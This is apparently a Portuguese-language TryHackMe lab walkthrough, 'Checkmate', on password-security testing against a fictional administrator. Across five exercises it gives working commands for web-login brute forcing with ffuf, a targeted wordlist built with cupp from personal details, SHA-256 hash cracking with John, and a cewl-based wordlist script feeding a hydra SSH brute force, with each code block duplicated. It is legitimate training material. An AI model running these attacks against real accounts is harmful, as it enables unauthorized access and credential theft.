August 22, 2026
Checkmate — TryHackMe Walkthrough
https://tryhackme.com/room/checkmate

By Nilton Silva
6 min read
Introdução ao Cenário
Marco Bianchi, administrador de sistemas, recentemente implantou vários serviços internos, incluindo um console de firewall, portal do funcionário, plataforma social e acesso SSH a uma infraestrutura crítica. Devido a prazos apertados e pressão operacional, Marco reutilizou senhas fracas, previsíveis e baseadas em padrões em vários sistemas.
O objetivo deste laboratório é realizar uma avaliação de segurança de senhas para identificar as fraquezas nas práticas de autenticação do Marco.
Exercício 1
Neste primeiro desafio, recebemos a informação de que Marco implantou um firewall no endereço firewall.thm:5001, mas manteve as credenciais padrão. Com essas informações, adicionei esse endereço ao meu arquivo /etc/hosts para poder realizar o brute force das credenciais.
Para isso, capturei a requisição no site de login: acessei a página e entrei no modo de Ferramentas de Desenvolvedor (Ctrl + Shift + I). Na aba Network, copiei a requisição de login como cURL para Bash. Com os parâmetros em mãos, montei o ataque de brute force utilizando o ffuf e a wordlist rockyou.txt, obtendo assim a primeira senha.
sudo nano /etc/hosts
10.64.150.164 firewall.thm
ffuf -u http://firewall.thm:5001/login -w /usr/share/wordlists/rockyou.txt -d "username=admin&password=FUZZ" -fr "Invalid" -t 100 -c -X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8' \
-H 'Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://firewall.thm:5001' \
-H 'Connection: keep-alive' \
-H 'Referer: http://firewall.thm:5001/login' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Priority: u=0, i'sudo nano /etc/hosts
10.64.150.164 firewall.thm
ffuf -u http://firewall.thm:5001/login -w /usr/share/wordlists/rockyou.txt -d "username=admin&password=FUZZ" -fr "Invalid" -t 100 -c -X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8' \
-H 'Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://firewall.thm:5001' \
-H 'Connection: keep-alive' \
-H 'Referer: http://firewall.thm:5001/login' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Priority: u=0, i'
Exercício 2
Para o segundo desafio, a dica indicava que Marco havia usado uma senha contendo uma palavra-chave comum no ambiente corporativo. Busquei uma wordlist dentro do repositório SecLists que pudesse conter essas palavras. Utilizei o arquivo 100k-most-used-passwords-NCSC.txt para realizar o brute force e consegui descobrir a segunda senha.
ffuf -u http://firewall.thm:5002/login -w /usr/share/wordlists/seclists/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt -d "username=marco&password=FUZZ" -fr "Invalid" -t 100 -c -X POST \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
-H 'Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7' \
-H 'Cache-Control: max-age=0' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-b 'fw_authed=1; session=eyJwcm9ncmVzcyI6Mn0.aokEeQ.n4tqeNq0_gkjoNn9k4or9UPWTq0' \
-H 'Origin: http://firewall.thm:5002' \
-H 'Proxy-Connection: keep-alive' \
-H 'Referer: http://firewall.thm:5002/login' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15'ffuf -u http://firewall.thm:5002/login -w /usr/share/wordlists/seclists/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt -d "username=marco&password=FUZZ" -fr "Invalid" -t 100 -c -X POST \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
-H 'Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7' \
-H 'Cache-Control: max-age=0' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-b 'fw_authed=1; session=eyJwcm9ncmVzcyI6Mn0.aokEeQ.n4tqeNq0_gkjoNn9k4or9UPWTq0' \
-H 'Origin: http://firewall.thm:5002' \
-H 'Proxy-Connection: keep-alive' \
-H 'Referer: http://firewall.thm:5002/login' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15'
Exercício 3
No terceiro desafio, a dica sugeria a criação de uma wordlist baseada nas informações pessoais do Marco para ter acesso à conta da rede social dele. Para isso, utilizei a ferramenta cupp para gerar uma lista personalizada. Com o ffuf, realizei mais um ataque de brute force e obtive a terceira senha.
cupp -i
First Name: Marco
Surname: Bianchi
Birthdate (DDMMYYYY): 14021995
Do you want to add some key words about the victim? Y/[N]: y
Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed: employee,It Operations
Do you want to add special chars at the end of words? Y/[N]: y
Do you want to add some random numbers at the end of words? Y/[N]:y
Leet mode? (i.e. leet = 1337) Y/[N]: ycupp -i
First Name: Marco
Surname: Bianchi
Birthdate (DDMMYYYY): 14021995
Do you want to add some key words about the victim? Y/[N]: y
Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed: employee,It Operations
Do you want to add special chars at the end of words? Y/[N]: y
Do you want to add some random numbers at the end of words? Y/[N]:y
Leet mode? (i.e. leet = 1337) Y/[N]: y
ffuf -u http://firewall.thm:5003/login -w marco.txt -d "username=marco&password=FUZZ" -fr "Invalid" -t 100 -c -X POST \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
-H 'Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7' \
-H 'Cache-Control: max-age=0' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-b 'fw_authed=1; jobs_authed=1; session=eyJwcm9ncmVzcyI6M30.aokHtg.0re_Cmc1jmf--wKJCcknpO1DrJI' \
-H 'Origin: http://firewall.thm:5003' \
-H 'Proxy-Connection: keep-alive' \
-H 'Referer: http://firewall.thm:5003/login' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15'ffuf -u http://firewall.thm:5003/login -w marco.txt -d "username=marco&password=FUZZ" -fr "Invalid" -t 100 -c -X POST \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
-H 'Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7' \
-H 'Cache-Control: max-age=0' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-b 'fw_authed=1; jobs_authed=1; session=eyJwcm9ncmVzcyI6M30.aokHtg.0re_Cmc1jmf--wKJCcknpO1DrJI' \
-H 'Origin: http://firewall.thm:5003' \
-H 'Proxy-Connection: keep-alive' \
-H 'Referer: http://firewall.thm:5003/login' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15'
Exercício 4
Nesta etapa, o objetivo era encontrar o nome original da imagem de perfil do Marco. A dica indicava que eu deveria obter o hash SHA-256 do nome da imagem atual e tentar revertê-lo. Inspecionei o código-fonte da página, localizei o link que redirecionava para a imagem e obtive o hash do nome do arquivo. Após verificar que realmente se tratava de um SHA-256, realizei a quebra desse hash com o john (John the Ripper) e descobri o nome da imagem, finalizando, assim, o quarto desafio.
hashcat --identify hash_256.txt
john --list=formats | grep "256"
john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt hash_256.txthashcat --identify hash_256.txt
john --list=formats | grep "256"
john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt hash_256.txt
Exercício 5
O último desafio foi o que deu mais trabalho na hora de organizar a wordlist. A dica indicava que eu deveria utilizar as regras que o Marco compartilhava em sua rede social para montar uma senha "forte": pegar uma palavra-chave da companhia, colocar a primeira letra em maiúscula, adicionar um número e, por fim, um ponto de exclamação.
Dessa maneira, usei a ferramenta cewl para capturar todas as palavras-chave do site jobs.thm:5002 (visto no Exercício 2). Depois, criei um script em Bash para gerar as prováveis senhas para acessar o SSH do alvo. Cabe ressaltar que restringi os números para montar uma wordlist menor e mais otimizada. Com a wordlist criada, executei o brute force diretamente no serviço SSH usando o hydra e obtive a última senha.
Script para gerar wordlist com as possíveis senhas
#!/bin/bash
# Primeiro, salvo todas as palavras encontradas na página da empresa em uma wordlist chamada cewl_words.txt
# Defino a profundidade até o nível 2 e o mínimo de 3 letras por palavra
cewl -d 2 -m 3 -w cewl_words.txt http://firewall.thm:5002
# Depois, separo a primeira letra da palavra e a transformo em maiúscula
cat cewl_words.txt | cut -c 1 | tr 'a-z' 'A-Z' > inicio.txt
# Em seguida, pego o restante da palavra e transformo tudo em minúscula
cat cewl_words.txt | cut -c 2-50 | tr 'A-Z' 'a-z' > final.txt
# Junto ambos os arquivos, formando a palavra completa somente com a primeira letra maiúscula
paste -d '\0' inicio.txt final.txt > wordlist.txt
# Crio o laço 'while' lendo todas as palavras da wordlist e salvando na variável 'senha'
while read -r senha; do
# Crio um laço 'for' adicionando ao final da palavra números de 1900 até 2026, acrescidos de '!'
# Tudo isso é salvo em um novo arquivo chamado senhas.txt com todas as possibilidades
for numero in {1900..2026}; do
echo "${senha}${numero}!" >> senhas.txt
done
done < wordlist.txt
# Removo todos os arquivos temporários criados anteriormente
rm cewl_words.txt inicio.txt final.txt wordlist.txt
hydra -l marco -P senhas.txt 10.66.132.74 -t 4 ssh -v -I#!/bin/bash
# Primeiro, salvo todas as palavras encontradas na página da empresa em uma wordlist chamada cewl_words.txt
# Defino a profundidade até o nível 2 e o mínimo de 3 letras por palavra
cewl -d 2 -m 3 -w cewl_words.txt http://firewall.thm:5002
# Depois, separo a primeira letra da palavra e a transformo em maiúscula
cat cewl_words.txt | cut -c 1 | tr 'a-z' 'A-Z' > inicio.txt
# Em seguida, pego o restante da palavra e transformo tudo em minúscula
cat cewl_words.txt | cut -c 2-50 | tr 'A-Z' 'a-z' > final.txt
# Junto ambos os arquivos, formando a palavra completa somente com a primeira letra maiúscula
paste -d '\0' inicio.txt final.txt > wordlist.txt
# Crio o laço 'while' lendo todas as palavras da wordlist e salvando na variável 'senha'
while read -r senha; do
# Crio um laço 'for' adicionando ao final da palavra números de 1900 até 2026, acrescidos de '!'
# Tudo isso é salvo em um novo arquivo chamado senhas.txt com todas as possibilidades
for numero in {1900..2026}; do
echo "${senha}${numero}!" >> senhas.txt
done
done < wordlist.txt
# Removo todos os arquivos temporários criados anteriormente
rm cewl_words.txt inicio.txt final.txt wordlist.txt
hydra -l marco -P senhas.txt 10.66.132.74 -t 4 ssh -v -I